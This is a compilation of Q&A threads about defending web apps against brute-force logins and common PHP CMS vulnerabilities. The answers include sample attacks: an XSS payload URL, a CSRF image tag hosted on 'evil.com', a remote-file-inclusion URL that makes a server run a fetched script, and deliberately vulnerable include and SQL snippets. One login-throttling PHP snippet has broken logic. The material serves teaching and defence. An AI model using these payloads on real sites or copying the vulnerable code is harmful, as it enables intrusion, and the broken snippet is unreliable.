Related
As a response to the recent Twitter hijackings and Jeff's post on Dictionary Attacks, what is the best way to secure your website against brute force login attacks?
Jeff's post suggests putting in an increasing delay for each attempted login, and a suggestion in the comments is to add a captcha after the 2nd failed attempt.
Both these seem like good ideas, but how do you know what "attempt number" it is? You can't rely on a session ID (because an attacker could change it each time) or an IP address (better, but vulnerable to botnets). Simply logging it against the username could, using the delay method, lock out a legitimate user (or at least make the login process very slow for them).
Thoughts? Suggestions?
I think database-persisted short lockout period for the given account (1-5 minutes) is the only way to handle this. Each userid in your database contains a timeOfLastFailedLogin and numberOfFailedAttempts. When numbeOfFailedAttempts > X you lockout for some minutes.
This means you're locking the userid in question for some time, but not permanently. It also means you're updating the database for each login attempt (unless it is locked, of course), which may be causing other problems.
There is at least one whole country is NAT'ed in asia, so IP's cannot be used for anything.
In my eyes there are several possibilities, each having cons and pros:
Forcing secure passwords
Pro: Will prevent dictionary attacks
Con: Will also prevent popularity, since most users are not able to remember complex passwords, even if you explain to them, how to easy remember them. For example by remembering sentences: "I bought 1 Apple for 5 Cent in the Mall" leads to "Ib1Af5CitM".
Lockouts after several attempts
Pro: Will slow down automated tests
Con: It's easy to lock out users for third parties
Con: Making them persistent in a database can result in a lot of write processes in such huge services as Twitter or comparables.
Captchas
Pro: They prevent automated testing
Con: They are consuming computing time
Con: Will "slow down" the user experience
HUGE CON: They are NOT barrier-free
Simple knowledge checks
Pro: Will prevent automated testing
Con: "Simple" is in the eye of the beholder.
Con: Will "slow down" the user experience
Different login and username
Pro: This is one technic, that is hardly seen, but in my eyes a pretty good start to prevent brute force attacks.
Con: Depends on the users choice of the two names.
Use whole sentences as passwords
Pro: Increases the size of the searchable space of possibilities.
Pro: Are easier to remember for most users.
Con: Depend on the users choice.
As you can see, the "good" solutions all depend on the users choice, which again reveals the user as the weakest element of the chain.
Any other suggestions?
You could do what Google does. Which is after a certain number of trys they have a captacha show up. Than after a couple of times with the captacha you lock them out for a couple of minutes.
I tend to agree with most of the other comments:
Lock after X failed password attempts
Count failed attempts against username
Optionally use CAPTCHA (for example, attempts 1-2 are normal, attempts 3-5 are CAPTCHA'd, further attempts blocked for 15 minutes).
Optionally send an e-mail to the account owner to remove the block
What I did want to point out is that you should be very careful about forcing "strong" passwords, as this often means they'll just be written on a post-it on the desk/attached to the monitor. Also, some password policies lead to more predictable passwords. For example:
If the password cannot be any previous used password and must include a number, there's a good chance that it'll be any common password with a sequential number after it. If you have to change your password every 6 months, and a person has been there two years, chances are their password is something like password4.
Say you restrict it even more: must be at least 8 characters, cannot have any sequential letters, must have a letter, a number and a special character (this is a real password policy that many would consider secure). Trying to break into John Quincy Smith's account? Know he was born March 6th? There's a good chance his password is something like jqs0306! (or maybe jqs0306~).
Now, I'm not saying that letting your users have the password password is a good idea either, just don't kid yourself thinking that your forced "secure" passwords are secure.
To elaborate on the best practice:
What krosenvold said: log num_failed_logins and last_failed_time in the user table (except when the user is suspended), and once the number of failed logins reach a treshold, you suspend the user for 30 seconds or a minute. It is the best practice.
That method effectively eliminates single-account brute-force and dictionary attacks. However, it does not prevent an attacker from switching between user names - ie. keeping the password fixed and trying it with a large number of usernames. If your site has enough users, that kind of attack can be kept going for a long time before it runs out of unsuspended accounts to hit. Hopefully, he will be running this attack from a single IP (not likely though, as botnets are really becoming the tool of the trade these days) so you can detect that and block the IP, but if he is distributing the attack... well, that's another question (that I just posted here, so please check it out if you haven't).
One additional thing to remember about the original idea is that you should of course still try to let the legitimate user through, even while the account is being attacked and suspended -- that is, IF you can tell the real user and the bot apart.
And you CAN, in at least two ways.
If the user has a persistent login ("remember me") cookie, just let him pass through.
When you display the "I'm sorry, your account is suspended due to a large number of unsuccessful login attempts" message, include a link that says "secure backup login - HUMANS ONLY (bots: no lying)". Joke aside, when they click that link, give them a reCAPTCHA-authenticated login form that bypasses the account's suspend status. That way, IF they are human AND know the correct login+password (and are able to read CAPTCHAs), they will never be bothered by delays, and your site will be impervious to rapid-fire attacks.
Only drawback: some people (such as the vision-impaired) cannot read CAPTCHAs, and they MAY still be affected by annoying bot-produced delays IF they're not using the autologin feature.
What ISN'T a drawback: that the autologin cookie doesn't have a similar security measure built-in. Why isn't this a drawback, you ask? Because as long as you've implemented it wisely, the secure token (the password equivalent) in your login cookie is twice as many bits (heck, make that ten times as many bits!) as your password, so brute-forcing it is effectively a non-issue. But if you're really paranoid, set up a one-second delay on the autologin feature as well, just for good measure.
You should implement a cache in the application not associated with your backend database for this purpose.
First and foremost delaying only legitimate usernames causes you to "give up" en-mass your valid customer base which can in itself be a problem even if username is not a closely guarded secret.
Second depending on your application you can be a little smarter with an application specific delay countermeasures than you might want to be with storing the data in a DB.
Its resistant to high speed attempts that would leak a DOS condition into your backend db.
Finally it is acceptable to make some decisions based on IP... If you see single attempts from one IP chances are its an honest mistake vs multiple IPs from god knows how many systems you may want to take other precautions or notify the end user of shady activity.
Its true large proxy federations can have massive numbers of IP addresses reserved for their use but most do make a reasonable effort to maintain your source address for a period of time for legacy purposes as some sites have a habbit of tieing cookie data to IP.
Do like most banks do, lockout the username/account after X login failures. But I wouldn't be as strict as a bank in that you must call in to unlock your account. I would just make a temporary lock out of 1-5 minutes. Unless of course, the web application is as data sensitive as a bank. :)
This is an old post. However, I thought of putting my findings here so that it might help any future developer.
We need to prevent brute-force attack so that the attacker can not harvest the user name and password of a website login. In many systems, they have some open ended urls which does not require an authentication token or API key for authorization. Most of these APIs are critical. For example; Signup, Login and Forget Password APIs are often open (i.e. does not require a validation of the authentication token). We need to ensure that the services are not abused. As stated earlier, I am just putting my findings here while studying about how we can prevent a brute force attack efficiently.
Most of the common prevention techniques are already discussed in this post. I would like to add my concerns regarding account locking and IP address locking. I think locking accounts is a bad idea as a prevention technique. I am putting some points here to support my cause.
Account locking is bad
An attacker can cause a denial of service (DoS) by locking out large numbers of accounts.
Because you cannot lock out an account that does not exist, only valid account names will lock. An attacker could use this fact to harvest usernames from the site, depending on the error responses.
An attacker can cause a diversion by locking out many accounts and flooding the help desk with support calls.
An attacker can continuously lock out the same account, even seconds after an administrator unlocks it, effectively disabling the account.
Account lockout is ineffective against slow attacks that try only a few passwords every hour.
Account lockout is ineffective against attacks that try one password against a large list of usernames.
Account lockout is ineffective if the attacker is using a username/password combo list and guesses correctly on the first couple of attempts.
Powerful accounts such as administrator accounts often bypass lockout policy, but these are the most desirable accounts to attack. Some systems lock out administrator accounts only on network-based logins.
Even once you lock out an account, the attack may continue, consuming valuable human and computer resources.
Consider, for example, an auction site on which several bidders are fighting over the same item. If the auction web site enforced account lockouts, one bidder could simply lock the others' accounts in the last minute of the auction, preventing them from submitting any winning bids. An attacker could use the same technique to block critical financial transactions or e-mail communications.
IP address locking for a account is a bad idea too
Another solution is to lock out an IP address with multiple failed logins. The problem with this solution is that you could inadvertently block large groups of users by blocking a proxy server used by an ISP or large company. Another problem is that many tools utilize proxy lists and send only a few requests from each IP address before moving on to the next. Using widely available open proxy lists at websites such as http://tools.rosinstrument.com/proxy/, an attacker could easily circumvent any IP blocking mechanism. Because most sites do not block after just one failed password, an attacker can use two or three attempts per proxy. An attacker with a list of 1,000 proxies can attempt 2,000 or 3,000 passwords without being blocked. Nevertheless, despite this method's weaknesses, websites that experience high numbers of attacks, adult Web sites in particular, do choose to block proxy IP addresses.
My proposition
Not locking the account. Instead, we might consider adding intentional delay from server side in the login/signup attempts for consecutive wrong attempts.
Tracking user location based on IP address in login attempts, which is a common technique used by Google and Facebook. Google sends a OTP while Facebook provides other security challenges like detecting user's friends from the photos.
Google re-captcha for web application, SafetyNet for Android and proper mobile application attestation technique for iOS - in login or signup requests.
Device cookie
Building a API call monitoring system to detect unusual calls for a certain API endpoint.
Propositions Explained
Intentional delay in response
The password authentication delay significantly slows down the attacker, since the success of the attack is dependent on time. An easy solution is to inject random pauses when checking a password. Adding even a few seconds' pause will not bother most legitimate users as they log in to their accounts.
Note that although adding a delay could slow a single-threaded attack, it is less effective if the attacker sends multiple simultaneous authentication requests.
Security challenges
This technique can be described as adaptive security challenges based on the actions performed by the user in using the system earlier. In case of a new user, this technique might throw default security challenges.
We might consider putting in when we will throw security challenges? There are several points where we can.
When user is trying to login from a location where he was not located nearby before.
Wrong attempts on login.
What kind of security challenge user might face?
If user sets up the security questions, we might consider asking the user answers of those.
For the applications like Whatsapp, Viber etc. we might consider taking some random contact names from phonebook and ask to put the numbers of them or vice versa.
For transactional systems, we might consider asking the user about latest transactions and payments.
API monitoring panel
To build a monitoring panel for API calls.
Look for the conditions that could indicate a brute-force attack or other account abuse in the API monitoring panel.
Many failed logins from the same IP address.
Logins with multiple usernames from the same IP address.
Logins for a single account coming from many different IP addresses.
Excessive usage and bandwidth consumption from a single use.
Failed login attempts from alphabetically sequential usernames or passwords.
Logins with suspicious passwords hackers commonly use, such as ownsyou (ownzyou), washere (wazhere), zealots, hacksyou etc.
For internal system accounts we might consider allowing login only from certain IP addresses. If the account locking needs to be in place, instead of completely locking out an account, place it in a lockdown mode with limited capabilities.
Here are some good reads.
https://en.wikipedia.org/wiki/Brute-force_attack#Reverse_brute-force_attack
https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks
http://www.computerweekly.com/answer/Techniques-for-preventing-a-brute-force-login-attack
I think you should log againt the username. This is the only constant (anything else can be spoofed). And yes it could lock out a legitimate user for a day. But if I must choose between an hacked account and a closed account (for a day) I definitely chose the lock.
By the way, after a third failed attempt (within a certain time) you can lock the account and send a release mail to the owner. The mail contains a link to unlock the account. This is a slight burden on the user but the cracker is blocked. And if even the mail account is hacked you could set a limit on the number of unlockings per day.
A lot of online message boards that I log into online give me 5 attempts at logging into an account, after those 5 attempts the account is locked for an hour or fifteen minutes. It may not be pretty, but this would certainly slow down a dictionary attack on one account. Now nothing is stopping a dictionary attack against multiple accounts at the same time. Ie try 5 times, switch to a different account, try another 5 times, then circle back. But it sure does slow down the attack.
The best defense against a dictionary attack is to make sure the passwords are not in a dictionary!!! Basically set up some sort of password policy that checks a dictionary against the letters and requires a number or symbol in the password. This is probably the best defense against a dictionary attack.
You could add some form of CAPTCHA test. But beware that most of them render access more difficult eye or earing impaired people. An interesting form of CAPTCHA is asking a question,
What is the sum of 2 and 2?
And if you record the last login failure, you can skip the CAPTCHA if it is old enough. Only do the CAPTCHA test if the last failure was during the last 10 minutes.
For .NET Environment
Dynamic IP Restrictions
The Dynamic IP Restrictions Extension for IIS provides IT Professionals and Hosters a configurable module that helps mitigate or block Denial of Service Attacks or cracking of passwords through Brute-force by temporarily blocking Internet Protocol (IP) addresses of HTTP clients who follow a pattern that could be conducive to one of such attacks. This module can be configured such that the analysis and blocking could be done at the Web Server or the Web Site level.
Reduce the chances of a Denial of Service attack by dynamically blocking requests from malicious IP addresses
Dynamic IP Restrictions for IIS allows you to reduce the probabilities of your Web Server being subject to a Denial of Service attack by inspecting the source IP of the requests and identifying patterns that could signal an attack. When an attack pattern is detected, the module will place the offending IP in a temporary deny list and will avoid responding to the requests for a predetermined amount of time.
Minimize the possibilities of Brute-force-cracking of the passwords of your Web Server
Dynamic IP Restrictions for IIS is able to detect requests patterns that indicate the passwords of the Web Server are attempted to be decoded. The module will place the offending IP on a list of servers that are denied access for a predetermined amount of time. In situations where the authentication is done against an Active Directory Services (ADS) the module is able to maintain the availability of the Web Server by avoiding having to issue authentication challenges to ADS.
Features
Seamless integration into IIS 7.0 Manager.
Dynamically blocking of requests from IP address based on either of the following criteria:
The number of concurrent requests.
The number of requests over a period of time.
Support for list of IPs that are allowed to bypass Dynamic IP Restriction filtering.
Blocking of requests can be configurable at the Web Site or Web Server level.
Configurable deny actions allows IT Administrators to specify what response would be returned to the client. The module support return status codes 403, 404 or closing the connection.
Support for IPv6 addresses.
Support for web servers behind a proxy or firewall that may modify the client IP address.
http://www.iis.net/download/DynamicIPRestrictions
Old post but let me post what I have in this the end 2016. Hope it still could help.
It's a simple way but I think it's powerful to prevent login attack. At least I always use it on every web of mine. We don't need CAPTCHA or any other third party plugins.
When user login for the first time. We create a session like
$_SESSION['loginFail'] = 10; // any number you prefer
If login success, then we will destroy it and let user login.
unset($_SESSION['loginFail']); // put it after create login session
But if user fail, as we usually sent error message to them, at the same time we reduce the session by 1 :
$_SESSION['loginFail']-- ; // reduce 1 for every error
and if user fail 10 times, then we will direct them to other website or any web pages.
if (!isset($_SESSION['loginFail'])) {
if ($_SESSION['login_fail'] < 1 ) {
header('Location:https://google.com/'); // or any web page
exit();
}
}
By this way, user can not open or go to our login page anymore, cause it has redirected to other website.
Users has to close the browser ( to destroy session loginFail that we created), open it 'again' to see our login page 'again'.
Is it helpful?
There are several aspects to be considered to prevent brute-force. consider given aspects.
Password Strenght
Force users to create a password to meet specific criteria
Password should contain at least one uppercase, lowercase, digit and symbol(special character).
Password should have a minimum length defined according to your criteria.
Password should not contain a user name or the public user id.
By creating the minimum password strength policy, brute-force will take time to guess the password. meanwhile, your app can identify such thing and migrate it.
reCaptcha
You can use reCaptcha to prevent bot scripts having brute-force function. It's fairly easy to implement the reCaptcha in web application. You can use Google reCaptcha. it has several flavors of reCaptcha like Invisible reCaptcha and reCaptcha v3.
Dynamic IP filtering Policy
You can dynamically identify the pattern of request and block the IP if the pattern matches the attack vector criteria. one of the most popular technique to filter the login attempts is Throttling. Read the Throttling Technique using php to know more. A good dynamic IP filtering policy also protects you from attacks like DoS and DDos. However, it doesn't help to prevent DRDos.
CSRF Prevention Mechanism
the csrf is known as cross-site request forgery. Means the other sites are submitting forms on your PHP script/Controller. Laravel has a pretty well-defined approach to prevent csrf. However, if you are not using such a framework, you have to design your own JWT based csrf prevention mechanism. If your site is CSRF Protected, then there is no chance to launch brute-force on any forms on your website. It's just like the main gate you closed.
I'm creating a PHP CMS, one that I hope will be used by the public. Security is a major concern and I'd like to learn from some of the popular PHP CMS's like Wordpress, Joomla, Drupal, etc. What are some security flaws or vulnerabilities that they have they had in the past that I can avoid in my application and what strategies can I use to avoid them? What are other issues that I need to be concerned with that they perhaps didn't face as a vulnerability because they handled it correctly from the start? What additional security features or measures would you include, anything from minute details to system level security approaches? Please be as specific as possible. I'm generally aware of most of the usual attack vectors, but I want to make sure that all the bases are covered, so don't be afraid to mention the obvious as well. Assume PHP 5.2+.
Edit: I'm changing this to a community wiki. Even though Arkh's excellent answer is accepted, I'm still interested in further examples if you have them.
Cross-Site Request Forgery (CSRF)
Description :
The basic idea is to trick a user to a page where his browser will initiate a POST or GET request to the CMS you attack.
Imagine you know the email of a CMS powered site administrator. Email him some funny webpage with whatever you want in it. In this page, you craft a form with the data used by the admin panel of the CMS to create a new admin user. Send those data to the website admin panel, with the result in a hidden iframe of your webpage.
VoilĂ , you got your own administrator account made.
How to prevent it :
The usual way is to generate random short-lived (15mn to hour) nonce in all your forms. When your CMS receive a form data, it checks first if the nonce is alright. If not, the data is not used.
CMS examples :
CMS made simple
Joomla!
Drupal
ModX
More information :
On the wikipedia page and on the OWASP project.
Bad password storing
Description :
Imagine your database get hacked and published on something like wikileak. Knowing that a big part of your users use the same login and password for a lot of websites, do you want them to be easy to get ?
No. You need to mitigate the damages done if your database datas become public.
How to prevent it :
A first idea is to hash them. Which is a bad idea because of rainbow tables (even if the hash is not md5 but sha512 for example).
Second idea : add a unique random salt before hashing so the hackers has to bruteforce each password. The problem is, the hacker can compute a lot of hash fast.
So, the current idea is to make it slow to hash the passwords : you don't care because you don't do it often. But the attacker will cry when he gets from 1000 hash generated per ms to 1.
To ease the process, you can use the library phpass developped by some password guru.
CMS examples :
Joomla! : salted md5
ModX : md5
Typo3 : cleartext
Drupal : switched to phpass after this discussion.
More information :
The phpass page.
Cross Site Scripting (XSS)
Description
The goal of these attacks, is to make your website display some script which will be executed by your legitimate user.
You have two kind of these : persistent or not. The first one comes usually from something your user can save, the other count on parameters given by a request sent. Here is an example, not persistent :
<?php
if(!is_numeric($_GET['id'])){
die('The id ('.$_GET['id'].') is not valid');
}
?>
Now your attacker can just send links like http://www.example.com/vulnerable.php?id=<script>alert('XSS')</script>
How to prevent it
You need to filter everything you output to the client. The easiest way is to use htmlspecialchars if you don't want to let your user save any html. But, when you let them output html (either their own html or some generated from other things like bbcode) you have to be very careful. Here is an old example using the "onerror" event of the img tag : vBulletin vulnerability. Or you have the old Myspace's Samy.
CMS examples :
CMS made simple
Mura CMS
Drupal
ModX
More information :
You can check wikipedia and OWASP. You also have a lot of XSS vector on ha.ckers page.
Mail header injection
Description :
Mail headers are separated by the CRLF (\r\n) sequence. When you use some user data to send mails (like using it for the From: or To:) they can inject more headers. With this, they can send anonymous mails from your server.
How to prevent it :
Filter all the \n, \r, %0a and %0d characters in your headers.
CMS examples :
Jetbox CMS
More information :
Wikipedia is a good start as usual.
SQL Injection
Description :
The old classic. It happen when you form a SQL query using direct user input. If this input is crafted like needed, a user can do exactly what he want.
How to prevent it :
Simple. Don't form SQL queries with user input. Use parameterized queries.
Consider any input which is not coded by yourself as user input, be it coming from the filesystem, your own database or a webservice for example.
CMS example :
Drupal
Joomla!
ModX
Pars CMS
More information :
Wikipedia and OWASP have really good pages on the subject.
Http response splitting
Description :
Like e-mail headers, the http headers are separated by the CLRF sequence. If your application uses user input to output headers, they can use this to craft their own.
How to prevent it :
Like for emails, filter \n, \r, %0a and %0d characters from user input before using it as part of a header. You can also urlencode your headers.
CMS examples :
Drake CMS
Plone CMS
Wordpress
More information :
I'll let you guess a little as to where you can find a lot of infos about this kind of attack. OWASP and Wikipedia.
Session hijacking
Description :
In this one, the attacker want to use the session of another legitimate (and hopefully authenticated) user.
For this, he can either change his own session cookie to match the victim's one or he can make the victim use his (the attacker's) own session id.
How to prevent it :
Nothing can be perfect here :
- if the attacker steal the victim's cookie, you can check that the user session matches the user IP. But this can render your site useless if legitimate users use some proxy which change IP often.
- if the attacker makes the user use his own session ID, just use session_regenerate_id to change the session ID of a user when his rights change (login, logout, get in admin part of the website etc.).
CMS examples :
Joomla! and Drupal
Zen Cart
More information :
Wikipedia page on the subject.
Other
User DoSing : if you prevent bruteforcing of login attempt by disabling the usernames tried and not the IP the attempts come from, anyone can block all your users in 2mn. Same thing when generating new passwords : don't disable the old one until the user confirm the new one (by loging with it for example).
Using user input to do something on your filesystem. Filter this like if it was cancer mixed with aids. This concern the use of include and require on files which path is made in part from the user input.
Using eval, system, exec or anything from this kind with user input.
Don't put files you don't want web accessible in web accessible directory.
You have a lot of things you can read on the OWASP page.
I remember a rather funny one from phpBB. The autologin cookie contained a serialized array containing a userId and encrypted password (no salt). Change the password to a boolean with value true and you could log in as anyone you wanted to be. Don't you love weaktyped languages?
Another issue that phpBB had was in an regular expression for the highlighting of search keywords that had a callback (with the e modifier), which enabled you to execute your own PHP code - for example, system calls on unsecure systems or just output the config file to get the MySQL login/password.
So to sum this story up:
Watch out for PHP being weaktyped ( md5( "secretpass" ) == true ).
Be careful with all code that could be used in a callback (or worse, eval).
And of course there are the other issues already mentioned before me.
Another application level security issue that I've seen CMSes deal with is insufficiently authorizing page or function level access. In other words, security being set by only showing links when you are authorized to view those links, but not fully checking that the user account is authorized to view the page or use the functionality once they are on the page.
In other words, an admin account has links displayed to go to user management pages. But the user management page only checks that the user is logged in, not that they are logged in and admin. A regular user then logs in, manually types in the admin page URI, then has full admin access to the user management pages and makes their account into an admin account.
You'd be surprised how many times I've seen things like that even in shopping cart applications where user CC data is viewable.
The biggest one that so many people seem to either forget or not realise is that anyone can post any data to your scripts, including cookies and sessions etc. And don't forget, just because a user is logged in, doesn't mean they can do any action.
For example, if you had a script that handles the adding/editing of a comment, you might have this:
if ( userIsLoggedIn() ) {
saveComment( $_POST['commentid'], $_POST['commenttext'] )
}
Can you see what's wrong? You checked that the user is logged in, but you didn't check if the user owns the comment, or is able to edit the comment. Which means any logged-in user could post a comment ID and content and edit others' comments!
Another thing to remember when providing software to others is that server set ups vary wildly. When data is posted you may want to do this, for example:
if (get_magic_quotes_gpc())
$var = stripslashes($_POST['var']);
else
$var = $_POST['var'];
So so many..
A number of answers here are listing specific vuls they remember or generic "things i worry about when writing a webapp", but if you want a reasonably reliable list of a majority of reported vulnerabilities found historically, then you wouldn't do much worse than to search the National Vulnerability Database
There are 582 vulnerabilities reported in Joomla or Joomla addons, 199 for Wordpress and 345 for Drupal for you to digest.
For generic understanding of common webapp vuls, the OWASP Top Ten project has recently been updated and is an essential read for any web developer.
A1: Injection
A2: Cross-Site Scripting (XSS)
A3: Broken Authentication and Session Management
A4: Insecure Direct Object References
A5: Cross-Site Request Forgery (CSRF)
A6: Security Misconfiguration
A7: Insecure Cryptographic Storage
A8: Failure to Restrict URL Access
A9: Insufficient Transport Layer Protection
A10: Unvalidated Redirects and Forwards
Four big ones in my mind:
using exec on untrusted data/code (or in general)
include-ing files from remote URL's for local execution
enabling register globals so that get and post variables
get variable values automatically assigned.
not escaping db entered data/ allowing SQL injection attacks
(usually happens when not using a DB API layer)
Disallow POST from other domain/IP So Bots cant login/submit forms.
People, the biggest security breech, is the human stupidity. Trust, review code. You need a special team, which will review anything that added as an extra code in your application, cms's problem are the outsource, the incomings, WordPress, Drupal, Joomla, and other popular cms, like default installations, they are really in a very good point secure. The problem is coming when you leave people to add extra code in your application, without a good review (or better, without penetration testing). This is the point where WordPress and Joomla have the weakness, there re so many plugin n theme devs, there are so many approvals,hundreds of outdated plugins n themes outhere.... So imho, if you are able to build a strong team, a good security plan, train your contributors, and learn them how to code secure, and with all the other comments before mine, then you will be able to move on and say :ei hi that's my cms, and it's a bit more secure than all the other cms on the net ;)
Here's a potential pitfall for forum admins especially, but also anyone who codes up a form with a dropdown selector but doesn't validate that the posted response was actually one of the available options.
In college, I realized that the user's 'country' selector in phpBB had no such validation.
In our school forum, Instead of 'United States' or 'Afganistan', my country could be ANYTHING, no matter how silly, or filthy. All I needed was an html POST form. It took my classmates a few days to figure out how I had done it, but soon, all the 'cool kids' had funny phrases instead of countries displayed under their usernames.
Going to a geek college was awesome. :D
I'm actually working on a PHP project that will feature a user system (Login,Register,Send lost password to email,..) and I think that this may be very vulnerable to Brute-Force attacks and/or Spam (Send a password to someone's email like 1000 times, etc. use your fantasy)
.
Do today's webservers (Apache, IIS) have some sort of built-in defense against Brute-Force?
What would be the best way to implement an Anti-Spam/Flood system, if I e.g.: want a page not be able to be called more than two times a minute, however another page may be called up to 100 times a minute or so.
I would definitely have to store IP adresses, the time when they last visited a page and the number of visits somewhere - but would it be efficient enough storing it in a text-file/database (MySQL)
Should I use captchas for things like registering/recovering lost passwords?
Are "text" captchas viable? (Something like "What is 5 plus 9 minus 2? ")
The page won't be used by that many users (100-200), do I actually have to implement all these things?
Regarding CAPTCHAs: I would recommend against using CAPTCHAs unless you really need it. Why?
it's ugly.
it's annoying for your users. You shouldn't make them jump through hoops to use your site.
There are some alternatives which are very simple, can be very effective and are entirely transparent to (almost all) users.
Honeypot fields: add a field to your forms with a common name like "website". Beside it, add a label saying something to the effect of "don't write in this box". Using Javascript hide the input and label. When you receive a form submission, if there's anything in the field, reject the input.
Users with JS won't see it and will be fine. Users without JS will just have to follow the simple instruction. Spambots will fall for it and reveal themselves.
Automatic faux-CAPTCHA: This is similar to the above. Add an input field with a label saying "Write 'Alex'" (for example). Using Javascript (and knowing that most automated spam bots won't be running JS), hide the field and populate it with 'Alex'. If the submitted form doesn't have the magic word there, then ignore it.
Users with JS won't see it and will be fine. Users without JS will just have to follow the simple instruction. Spambots won't know what to do and you can ignore their input.
This will safeguard you from 99.9% of automated spam bots. What it won't do, even in the slightest, is safeguard you against a targeted attack. Someone could customise their bot to avoid the honeypot or always fill in the correct value.
Regarding Brute Force blocking: A server-side solution is the only viable way to do this obviously. For one of my current projects, I implemented a brute force protection system very similar to what you describe. It was based on this Brute Force Protection plugin for CakePHP.
The algorithm is fairly simple, but a little confusing initially.
User requests some action (reset password, for example)
Run: DELETE * FROM brute_force WHERE expires < NOW()
Run:
SELECT COUNT(*) FROM brute_force
WHERE action = 'passwordReset'
AND ip = <their ip address>
If the count is greater than X then tell them to wait a while.
Otherwise, run:
INSERT INTO brute_force (ip, action, expires)
VALUES (<their ip address>, 'passwordReset', NOW() + Y minutes)
Continue with the reset password function.
This will allow users to only try resetting a password X times in Y minutes. Tweak these values as you see fit. Perhaps 3 resets in 5 minutes? Additionally, you could have different values for each action: for some things (eg: generate a PDF), you might want to restrict it to 10 in 10 minutes.
Yes, storing an IP address, last accessed and times accessed in a database would be fine.
Using CAPTCHAs for register/recovering password is advised so that e-mail addresses cannot be spammed. Also to stop brute forcing.
Yes, text CAPTCHAs are possible, although far easier for someone to crack and write a script to automate the answer. For a free CAPTCHA, I'd recommend Recaptcha.
That really depends on how much you care about security. I'd certainly recommend using a CAPTCHA as they are simple to implement.
Don't try to implement all the logic in your PHP - the lower in your stack you can implement it, the more efficiently it can be dealt with.
Most firewalls (including iptables on BSD/Linux) have connection throttling. Also, have a look at mod_security for DDOS/brute force attack prevention.
You should design your application around the idea that these kind of attacks will not give the attacker access to the app - at the end of the day there's no way you can prevent a DOS attack, although you can limit its effectiveness.
There's not a lot of value in relying on a consistent IP address from your attacker - there's lots of ways of getting around that.
e.g. keep track of the number of password reset requests between logins by each user. In your password reset form, respond (to the client) in exactly the same way if the user submits an unknown email address. Log invalid email addresses.
HTH
C.
Besides doing what Gazler is telling you, you should also have some way of counting the login attempts in general. It the total of all login attempts are bigger then X then either start using the sleep command or just say the servers have a high load.
Storing IP addresses is good practise for loggin and tracking but I think that just a captcha would stop spamming, brute-force attacks and flooding.
Recaptcha is indeed a good solution.
sure, Your target audience might not be large but if it's in the public domain then it's vulnerable,
text captcha's are cracked easily these days believe me
for an Anti-Spam/Flood system you could log IP addressses (MySQL preferably) and add a time limit login retries
I know questions like this have been asked a hundred of times, but mine is a little different.
I know about all the common and widely-known security issues like SQL injection, XSS etc. But what about issues that often appear but are not recognized most of the times or not judged as vulnerabilities? Are there any?
One thing I've seen a lot that gets developed as a feature and not seen as a security hole until it's too late are state-changing GET requests. These can easily result in cross-site request forgery. For example, your application could have a link to http://mysite.com/logout which logs users out. But a third party site can add code like this:
<!-- on evil.com site -->
<img src="http://mysite.com/logout">
Then when users load the page on evil.com, they are logged out of mysite.com!
The worst problems happen when sites implement an API using state-changing GET requests. For example, if I ran a social networking site with urls like site.com/addfriend, site.com/sendmessage, etc. and I gave out those urls to developers who were going to make applications for my site, the developers would have to deal with an API change when the security vulnerability was discovered.
Using $_REQUEST instead of $_GET or $_POST, which is a bad idea because $_REQUEST also contains cookies, and it opens the door for Variable Fixation
Not really PHP-specific, applies to all the interpreted languages: visibility of .svn/.CVS directories
Here are a few that I've worked on:
Storing passwords as plaintext in a DB
If your site is hacked, hackers have access to all of your users' passwords and emails. Consider how many users have the same password for their email as well as your site.
Storing emails in the same table as your users
If a SQL injection attack gives a hacker access to your user table, one of the only pieces of valuable information is the email address. Keep it in a separate table to make it more difficult for the hacker.
If you don't intend on emailing the user, only store the hash of their email: a hacker that gets access to user emails can sell them to spammers.
Even if you have a password-protected site, do the math as to how secure the password are. I had a friend whose site used a simple 5-digit number for passwords. I cracked it in
about an hour.
If you're sending communications that have value (i.e.: you're performing an operation that uses a significant amount of resources: cpu, memory, etc.), always require a token from the user that's timestamped.
If a hacker finds that you have an operation that costs you $0.0001 every time it's hit, they can farm out a botnet to rack up charges on your name.
Require the user send a hash (a unique ID for the user, a timestamp, and a secret salt) along with a plaintext timestamp. The plaintext timestamp lets you validate that you didn't give them permission last Tuesday, the timestamp in the hash lets you validate that the has belongs with that message, the UID in the has ensures that the hacker didn't jack the request from someone else, and the secret salt in the hash ensures that they didn't generate it on their own.
If you're writing a plugin system for an application, be wary of what you store in private variables. Check out this article I wrote on how to lock it down.
Just a few ideas and things I've dealt with. Hope it helps!
I worked on a pile of junk once where fopen handlers were enabled as was "register globals." The includes looked like:
<?php
include $MY_BASE . '/includes/myLib.inc';
?>
What this allowed anyone to do is remotely execute any code they wanted. Behold:
http://exploitablehost.com/?MY_BASE=http://viagra.cheeper.com/myScript.txt%3f
PHP will fetch the text file over HTTP and execute it locally. Since Apache was running as root... well, you get the idea.
Lack of procedures to protect against social engineering attacks? For example, an attacker calling an office and impersonating someone for the purpose of obtaining passwords.
Poor password-creation, distribution, and protection policy.
FTP account cracking can result in malicious code being uploaded to your site.
Weak/vulnerable third-party hosting servers can result in your site being compromised no matter how much time you spent making it secure.
Here are some of the common pitfalls i have seen:
1. Not escaping entities
It's basic knowledge; ALL untrusted input (especially user input from forms) has to be sanitized before it is being output.
echo $_GET['username'];
2. Not Escaping SQL input
$query = "select * fromt able where id = {$_GET['id']}";
3. Requiring and including files incorrectly
include($_GET['filename']);
4. Double escaping quotes
If magic_quotes_gpc is true, then using addslahes will add one more slash
thereby adding two slashes in all.
PHP has been around for more than 10 years and it matured a lot.
Beware of lax defaults in php.ini.
Many of the posts are not specific to PHP. I am sure there are some language pitfalls but as you see in the posts it is very important to implement best practices in security (like filtering user input). A good start for secure web apps is OWASP. And to be on topic: Security Issues in PHP on OWASP.
Cheers
What ways are there for detecting exploits in PHP/MySQL web applications (checking for certain characters or pieces of codes in the GET, POST, COOKIE arrays / using a library with a database that has all the patterns for common exploits, if any exist?) and how should I proceed when one is detected?
For example, if someone tried to find a SQL injection in my PHP/MySQL web application using the GET request method, should I store the action performed by the user in the database, have the application send me an e-mail, IP ban the user and display him/her a message "Sorry, but we have detected a harmful action from your account that will be reviewed. Your account has been disabled and certain features may be disabled from your IP address. If this is a mistake, please e-mail us with all the details."
Thanks.
Three things come to mind:
defensive coding, sanitize all input, prepare sql statements and use Suhosin
increase security of your site by breaking into it with a vulnerability scanner
log hacking attemtps with an Intrusion Detection System
